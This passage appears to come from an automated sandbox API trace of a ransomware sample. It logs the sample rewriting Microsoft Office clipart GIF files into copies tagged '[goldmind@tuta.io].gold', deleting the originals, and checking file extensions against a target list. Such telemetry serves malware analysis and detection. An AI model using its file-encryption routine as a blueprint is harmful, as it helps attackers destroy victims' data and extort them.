hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=4955) returned 1 [0047.941] CloseHandle (hObject=0x178) returned 1 [0047.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0047.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.941] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.941] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.942] GetLastError () returned 0x0 [0047.942] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x135b, lpOverlapped=0x0) returned 1 [0047.943] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1360, lpOverlapped=0x0) returned 1 [0047.944] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0047.944] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.944] SetEndOfFile (hFile=0x20c) returned 1 [0047.944] CloseHandle (hObject=0x20c) returned 1 [0047.944] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.944] SetEndOfFile (hFile=0x178) returned 1 [0047.945] CloseHandle (hObject=0x178) returned 1 [0047.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0047.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0047.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0047.946] lstrlenW (lpString=".doc") returned 4 [0047.946] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.946] lstrlenW (lpString=".docx") returned 5 [0047.946] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.946] lstrlenW (lpString=".pdf") returned 4 [0047.946] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.946] lstrlenW (lpString=".xls") returned 4 [0047.946] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.946] lstrlenW (lpString=".xlsx") returned 5 [0047.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.946] lstrlenW (lpString=".ppt") returned 4 [0047.946] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0047.946] lstrlenW (lpString=".zip") returned 4 [0047.946] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.946] lstrlenW (lpString=".rar") returned 4 [0047.946] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.946] lstrlenW (lpString=".bz2") returned 4 [0047.946] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.946] lstrlenW (lpString=".7z") returned 3 [0047.946] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0047.946] lstrlenW (lpString=".dbf") returned 4 [0047.946] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0047.946] lstrlenW (lpString=".1cd") returned 4 [0047.946] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0047.946] lstrlenW (lpString=".jpg") returned 4 [0047.946] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0047.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0047.946] lstrlenW (lpString=".doc") returned 4 [0047.946] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.946] lstrlenW (lpString=".docx") returned 5 [0047.946] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.946] lstrlenW (lpString=".pdf") returned 4 [0047.946] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.946] lstrlenW (lpString=".xls") returned 4 [0047.946] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.946] lstrlenW (lpString=".xlsx") returned 5 [0047.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.947] lstrlenW (lpString=".ppt") returned 4 [0047.947] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0047.947] lstrlenW (lpString=".zip") returned 4 [0047.947] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.947] lstrlenW (lpString=".rar") returned 4 [0047.947] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.947] lstrlenW (lpString=".bz2") returned 4 [0047.947] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.947] lstrlenW (lpString=".7z") returned 3 [0047.947] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0047.947] lstrlenW (lpString=".dbf") returned 4 [0047.947] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0047.947] lstrlenW (lpString=".1cd") returned 4 [0047.947] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0047.947] lstrlenW (lpString=".jpg") returned 4 [0047.947] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.947] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.947] lstrlenW (lpString="AG00158_.GIF") returned 12 [0047.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.947] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=5030) returned 1 [0047.947] CloseHandle (hObject=0x178) returned 1 [0047.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0047.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.948] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.948] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.948] GetLastError () returned 0x0 [0047.948] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x13a6, lpOverlapped=0x0) returned 1 [0047.949] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x13b0, lpOverlapped=0x0) returned 1 [0047.950] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0047.950] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.950] SetEndOfFile (hFile=0x20c) returned 1 [0047.950] CloseHandle (hObject=0x20c) returned 1 [0047.950] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.950] SetEndOfFile (hFile=0x178) returned 1 [0047.951] CloseHandle (hObject=0x178) returned 1 [0047.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0047.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0047.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0047.952] lstrlenW (lpString=".doc") returned 4 [0047.952] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.952] lstrlenW (lpString=".docx") returned 5 [0047.952] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.952] lstrlenW (lpString=".pdf") returned 4 [0047.952] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.952] lstrlenW (lpString=".xls") returned 4 [0047.952] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.952] lstrlenW (lpString=".xlsx") returned 5 [0047.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.952] lstrlenW (lpString=".ppt") returned 4 [0047.952] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0047.952] lstrlenW (lpString=".zip") returned 4 [0047.952] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.952] lstrlenW (lpString=".rar") returned 4 [0047.952] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.952] lstrlenW (lpString=".bz2") returned 4 [0047.952] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.952] lstrlenW (lpString=".7z") returned 3 [0047.952] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0047.952] lstrlenW (lpString=".dbf") returned 4 [0047.952] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0047.952] lstrlenW (lpString=".1cd") returned 4 [0047.953] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0047.953] lstrlenW (lpString=".jpg") returned 4 [0047.953] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0047.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0047.953] lstrlenW (lpString=".doc") returned 4 [0047.953] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.953] lstrlenW (lpString=".docx") returned 5 [0047.953] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.953] lstrlenW (lpString=".pdf") returned 4 [0047.953] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.953] lstrlenW (lpString=".xls") returned 4 [0047.953] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.953] lstrlenW (lpString=".xlsx") returned 5 [0047.953] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.953] lstrlenW (lpString=".ppt") returned 4 [0047.953] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0047.953] lstrlenW (lpString=".zip") returned 4 [0047.953] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.953] lstrlenW (lpString=".rar") returned 4 [0047.953] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.953] lstrlenW (lpString=".bz2") returned 4 [0047.953] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.953] lstrlenW (lpString=".7z") returned 3 [0047.953] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0047.953] lstrlenW (lpString=".dbf") returned 4 [0047.953] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0047.953] lstrlenW (lpString=".1cd") returned 4 [0047.953] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0047.953] lstrlenW (lpString=".jpg") returned 4 [0047.953] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.953] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.953] lstrlenW (lpString="AG00160_.GIF") returned 12 [0047.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.954] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1146) returned 1 [0047.954] CloseHandle (hObject=0x178) returned 1 [0047.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0047.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.954] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.954] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.954] GetLastError () returned 0x0 [0047.954] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x47a, lpOverlapped=0x0) returned 1 [0047.956] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x480, lpOverlapped=0x0) returned 1 [0047.956] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0047.956] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.956] SetEndOfFile (hFile=0x20c) returned 1 [0047.956] CloseHandle (hObject=0x20c) returned 1 [0047.957] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.957] SetEndOfFile (hFile=0x178) returned 1 [0047.957] CloseHandle (hObject=0x178) returned 1 [0047.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0047.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0047.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0047.958] lstrlenW (lpString=".doc") returned 4 [0047.958] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.958] lstrlenW (lpString=".docx") returned 5 [0047.958] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.958] lstrlenW (lpString=".pdf") returned 4 [0047.958] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.958] lstrlenW (lpString=".xls") returned 4 [0047.958] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.958] lstrlenW (lpString=".xlsx") returned 5 [0047.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.958] lstrlenW (lpString=".ppt") returned 4 [0047.958] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0047.958] lstrlenW (lpString=".zip") returned 4 [0047.958] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.958] lstrlenW (lpString=".rar") returned 4 [0047.958] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.958] lstrlenW (lpString=".bz2") returned 4 [0047.958] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.958] lstrlenW (lpString=".7z") returned 3 [0047.958] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0047.958] lstrlenW (lpString=".dbf") returned 4 [0047.958] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0047.958] lstrlenW (lpString=".1cd") returned 4 [0047.958] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0047.958] lstrlenW (lpString=".jpg") returned 4 [0047.958] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0047.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0047.958] lstrlenW (lpString=".doc") returned 4 [0047.958] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.958] lstrlenW (lpString=".docx") returned 5 [0047.958] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.958] lstrlenW (lpString=".pdf") returned 4 [0047.958] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.958] lstrlenW (lpString=".xls") returned 4 [0047.958] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.958] lstrlenW (lpString=".xlsx") returned 5 [0047.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.958] lstrlenW (lpString=".ppt") returned 4 [0047.959] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0047.959] lstrlenW (lpString=".zip") returned 4 [0047.959] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.959] lstrlenW (lpString=".rar") returned 4 [0047.959] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.959] lstrlenW (lpString=".bz2") returned 4 [0047.959] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.959] lstrlenW (lpString=".7z") returned 3 [0047.959] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0047.959] lstrlenW (lpString=".dbf") returned 4 [0047.959] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0047.959] lstrlenW (lpString=".1cd") returned 4 [0047.959] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0047.959] lstrlenW (lpString=".jpg") returned 4 [0047.959] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.959] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.959] lstrlenW (lpString="AG00161_.GIF") returned 12 [0047.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.959] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=7583) returned 1 [0047.959] CloseHandle (hObject=0x178) returned 1 [0047.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0047.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, 